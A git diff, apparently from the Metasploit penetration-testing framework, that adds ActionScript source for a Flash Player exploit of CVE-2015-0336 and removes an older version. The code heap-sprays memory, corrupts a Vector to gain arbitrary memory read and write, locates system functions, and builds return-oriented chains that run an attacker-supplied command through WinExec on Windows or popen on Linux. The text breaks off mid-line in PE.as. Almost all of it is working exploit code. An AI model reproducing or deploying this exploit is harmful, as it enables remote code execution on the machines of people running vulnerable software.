diff --git a/data/exploits/CVE-2015-0336/msf.swf b/data/exploits/CVE-2015-0336/msf.swf old mode 100755 new mode 100644 index 97b6ffe99c..c014a3ef20 Binary files a/data/exploits/CVE-2015-0336/msf.swf and b/data/exploits/CVE-2015-0336/msf.swf differ diff --git a/data/exploits/CVE-2015-0336/trigger_linux.swf b/data/exploits/CVE-2015-0336/trigger_linux.swf new file mode 100755 index 0000000000..a5dbcdba5b Binary files /dev/null and b/data/exploits/CVE-2015-0336/trigger_linux.swf differ diff --git a/external/source/exploits/CVE-2015-0336/Elf.as b/external/source/exploits/CVE-2015-0336/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Exploit.as b/external/source/exploits/CVE-2015-0336/Exploit.as new file mode 100644 index 0000000000..15abbc3256 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/Exploit.as @@ -0,0 +1,120 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 3. Download the Flex SDK (4.6) +// 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 5. Build with: mxmlc -o msf.swf Exploit.as + +// It uses some original code from @hdarwin89 for exploitation using ba's and vectors + +package +{ + import flash.display.Sprite + import flash.display.LoaderInfo + import flash.display.Loader + import flash.utils.ByteArray + import flash.utils.Endian + import flash.utils.* + import flash.external.ExternalInterface + import mx.utils.Base64Decoder + + + public class Exploit extends Sprite + { + private var uv:Vector. = new Vector. + private var exploiter:Exploiter + + private var spray:Vector. = new Vector.(89698) + private var interval_id:uint + private var trigger_swf:String + private var b64:Base64Decoder = new Base64Decoder() + private var payload:String + private var platform:String + + public function Exploit() + { + var i:uint = 0 + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() + + if (platform == 'win') { + for (i = 0; i < 89698; i = i + 1) { + spray[i] = new Vector.(1014) + spray[i][0] = 0xdeadbeef + spray[i][1] = 0xdeedbeef + spray[i][2] = i + spray[i][29] = 0x1a1e1429 + } + + for(i = 0; i < 89698; i = i + 1) { + spray[i].length = 0x1e + } + } else if (platform == 'linux') { + for (i = 0; i < 89698; i = i + 1) { + spray[i] = new Vector.(1022) + spray[i][0] = 0xdeadbeef + spray[i][1] = 0xdeedbeef + spray[i][2] = i + spray[i][29] = 0x956c1490 // 0x956c1490 + 0xb6c => 0x956c1ffc => controlled by position 1021 + spray[i][39] = 1 // 0x956c1fac + 0xf8 => is_connected = 1 in order to allow corruption of offsets 0x54 and 0x58 + spray[i][1021] = 0x956c1fac // 0x956c1fac + 0x54 => 0x956c2000 (0x54, and 0x58 offsets are corrupted) + } + } + + var trigger_byte_array:ByteArray = createByteArray(trigger_swf) + trigger_byte_array.endian = Endian.LITTLE_ENDIAN + trigger_byte_array.position = 0 + // Trigger corruption + var trigger_loader:Loader = new Loader() + trigger_loader.loadBytes(trigger_byte_array) + + interval_id = setTimeout(do_exploit, 2000) + } + + + private function createByteArray(hex_string:String) : ByteArray { + var byte:String + var byte_array:ByteArray = new ByteArray() + var hex_string_length:uint = hex_string.length + var i:uint = 0 + while(i < hex_string_length) + { + byte = hex_string.charAt(i) + hex_string.charAt(i + 1) + byte_array.writeByte(parseInt(byte,16)) + i = i + 2 + } + return byte_array + } + + private function do_exploit():void { + clearTimeout(interval_id) + + for(var i:uint = 0; i < spray.length; i = i + 1) { + if (spray[i].length != 1022 && spray[i].length != 0x1e) { + Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16)) + spray[i][0x3ffffffe] = 0xffffffff + spray[i][0x3fffffff] = spray[i][1023] + uv = spray[i] + } + } + + for(i = 0; i < spray.length; i = i + 1) { + if (spray[i].length == 1022 || spray[i].length == 0x1e) { + spray[i] = null + } + } + + if (uv == null || uv.length != 0xffffffff) { + return + } + + exploiter = new Exploiter(this, platform, payload, uv) + } + } +} + diff --git a/external/source/exploits/CVE-2015-0336/ExploitByteArray.as b/external/source/exploits/CVE-2015-0336/ExploitByteArray.as new file mode 100644 index 0000000000..0da3b307b4 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/ExploitByteArray.as @@ -0,0 +1,82 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + Logger.log("[*] ExploitByteArray - lets_ready()") + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16)) + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) ba.position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/ExploitVector.as b/external/source/exploits/CVE-2015-0336/ExploitVector.as new file mode 100644 index 0000000000..3d9c84b43b --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 0x3e0 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Exploiter.as b/external/source/exploits/CVE-2015-0336/Exploiter.as new file mode 100644 index 0000000000..036ffceb04 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/Exploiter.as @@ -0,0 +1,251 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:String + private var platform:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(89698) + + public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") + do_rop_linux() + else if (platform == "win") + do_rop_windows() + else + return + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var winexec:uint = pe.procedure("WinExec", kernel32) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, winexec) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // WinExec + eba.write(0, buffer + 0x10) + eba.write(0, payload_address + 8) + eba.write(0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // Put the popen parameters in memory + eba.write(payload_address + 8, 'r', true) // type + eba.write(payload_address + 0xc, payload, true) // command + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + // Return to popen() + eba.write(stack_address + 0x18068, popen) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // popen() argument + eba.write(0, payload_address + 0xc) + eba.write(0, payload_address + 8) + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Logger.as b/external/source/exploits/CVE-2015-0336/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Msf.as b/external/source/exploits/CVE-2015-0336/Msf.as deleted file mode 100755 index fee7a99e95..0000000000 --- a/external/source/exploits/CVE-2015-0336/Msf.as +++ /dev/null @@ -1,321 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Download the Flex SDK (4.6) -// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 4. Build with: mxmlc -o msf.swf Msf.as - -// It uses original code from @hdarwin89 for exploitation using ba's and vectors - -package -{ - import flash.utils.* - import flash.display.* - import flash.system.* - import mx.utils.Base64Decoder - - public final class Msf extends Sprite { - private var interval_id:uint; - - private var trigger_swf:String = "" - - private var b64:Base64Decoder = new Base64Decoder(); - private var payload:String = "" - - private var spray:Vector. = new Vector.(89698 + 100) - private var corrupted_index:uint = 0 - private var restore_required:Boolean = false - - private var uv:Vector. - private var ba:ByteArray = new ByteArray() - private var stack:Vector. = new Vector.(0x6400) - private var payload_space:Vector. = new Vector.(0x6400) - - public function Msf() { - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray().toString() - trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr - - ba.endian = "littleEndian" - ba.length = 1024 - ba.writeUnsignedInt(0xdeedbeef) - ba.position = 0 - - var i:uint = 0 - - while (i < 89698) { - spray[i] = new Vector.(1014) - spray[i][0] = 0xdeadbeef - spray[i][1] = 0xdeedbeef - spray[i][2] = i - spray[i][29] = 0x1a1e1429 - i++ - } - - for(i = 0; i < 89698; i = i + 1) { - spray[i].length = 0x1e - } - - for(i = 0; i < 100; i = i + 1) { - spray[i + 89698] = new Vector.(1014) - spray[i + 89698][0] = ba - spray[i + 89698][1] = this - spray[i + 89698][2] = stack - spray[i + 89698][3] = payload_space - } - - for(i = 0; i < 100; i = i + 1) { - spray[i + 89698].length = 114 - } - - var trigger_byte_array:ByteArray = createByteArray(trigger_swf) - trigger_byte_array.endian = Endian.LITTLE_ENDIAN - trigger_byte_array.position = 0 - - // Trigger corruption - var trigger_loader:Loader = new Loader(); - trigger_loader.loadBytes(trigger_byte_array); - - interval_id = setTimeout(exploit, 2000) - } - - public function createByteArray(hex_string:String) : ByteArray { - var byte:String = null; - var byte_array:ByteArray = new ByteArray(); - var hex_string_length:uint = hex_string.length; - var i:uint = 0; - while(i < hex_string_length) - { - byte = hex_string.charAt(i) + hex_string.charAt(i + 1); - byte_array.writeByte(parseInt(byte,16)); - i = i + 2; - } - return byte_array; - } - - public function exploit():void { - clearTimeout(interval_id) - - for(var i:uint = 0; i < spray.length; i = i + 1) { - if (spray[i].length != 0x1e) { - corrupted_index = corrupt_vector_uint(i) - restore_required = true - uv = spray[corrupted_index] - uv[0] = 0x1a1e3000 // We're being confident about the spray for exploitation anyway :-) - control_execution() - if (restore_required) { - restore_vector_uint() - } - break; - } - } - } - - // make it better, search and return error if it doesn't work :-) - public function corrupt_vector_uint(index:uint):uint { - spray[index][0x3fe] = 0xffffffff - return spray[index][0x402] - } - - public function restore_vector_uint():void { - var atom:uint = spray[corrupted_index][0x3fffffff] - spray[corrupted_index][0x3ffffbff] = atom - spray[corrupted_index][0x3ffffbfe] = 0x1e - // Restore vector corrupted by hand - spray[corrupted_index][0x3ffffffe] = 0x1e - } - - public function control_execution():void { - // Use the corrupted Vector to search saved addresses - var object_vector_pos:uint = search_object_vector() - if (object_vector_pos == 0xffffffff) { - return - } - - var byte_array_object:uint = uv[object_vector_pos] - 1 - var main:uint = uv[object_vector_pos + 1] - 1 - var stack_object:uint = uv[object_vector_pos + 2] - 1 - var payload_space_object:uint = uv[object_vector_pos + 3] - 1 - - // Use the corrupted Vector to disclose arbitrary memory - var buffer_object:uint = vector_read(byte_array_object + 0x40) - var buffer:uint = vector_read(buffer_object + 8) - var stack_address:uint = vector_read(stack_object + 0x18) - var payload_address:uint = vector_read(payload_space_object + 0x18) - var vtable:uint = vector_read(main) - - // Set the new ByteArray length - ba.endian = "littleEndian" - ba.length = 0x500000 - - // Overwite the ByteArray data pointer and capacity - var ba_array:uint = buffer_object + 8 - var ba_capacity:uint = buffer_object + 16 - vector_write(ba_array) - vector_write(ba_capacity, 0xffffffff) - - // restoring the corrupted vector length since we don't need it anymore - restore_vector_uint() - restore_required = false - - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - // Continuation of execution - byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - byte_write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x10) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x8) // Writable address (4 bytes) - - // WinExec - byte_write(0, buffer + 0x10) - byte_write(0, payload_address + 8) - byte_write(0) - - byte_write(main, stack_address + 0x18000) // overwrite with fake vtable - - toString() // call method in the fake vtable - } - - private function search_object_vector():uint { - var i:uint = 0; - while (i < 89698 * 1024){ - if (uv[i] == 114) { - return i + 1; - } - i++ - } - return 0xffffffff - } - - // Methods to use the corrupted uint vector - - private function vector_write(addr:uint, value:uint = 0):void - { - var pos:uint = 0 - - if (addr > uv[0]) { - pos = ((addr - uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 - } - - uv[pos] = value - } - - private function vector_read(addr:uint):uint - { - var pos:uint = 0 - - if (addr > uv[0]) { - pos = ((addr - uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 - } - - return uv[pos] - } - - // Methods to use the corrupted byte array for arbitrary reading/writing - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - // Methods to search the memory with the corrupted byte array - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) - var i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); - if (dll_name == name.toUpperCase()) { - break; - } - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} diff --git a/external/source/exploits/CVE-2015-0336/PE.as b/external/source/exploits/CVE-2015-0336/PE.as new file mode 100644 index 0000000000..a80ade9321 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/PE.as @@ -0,0 +1,63 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16)) + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == 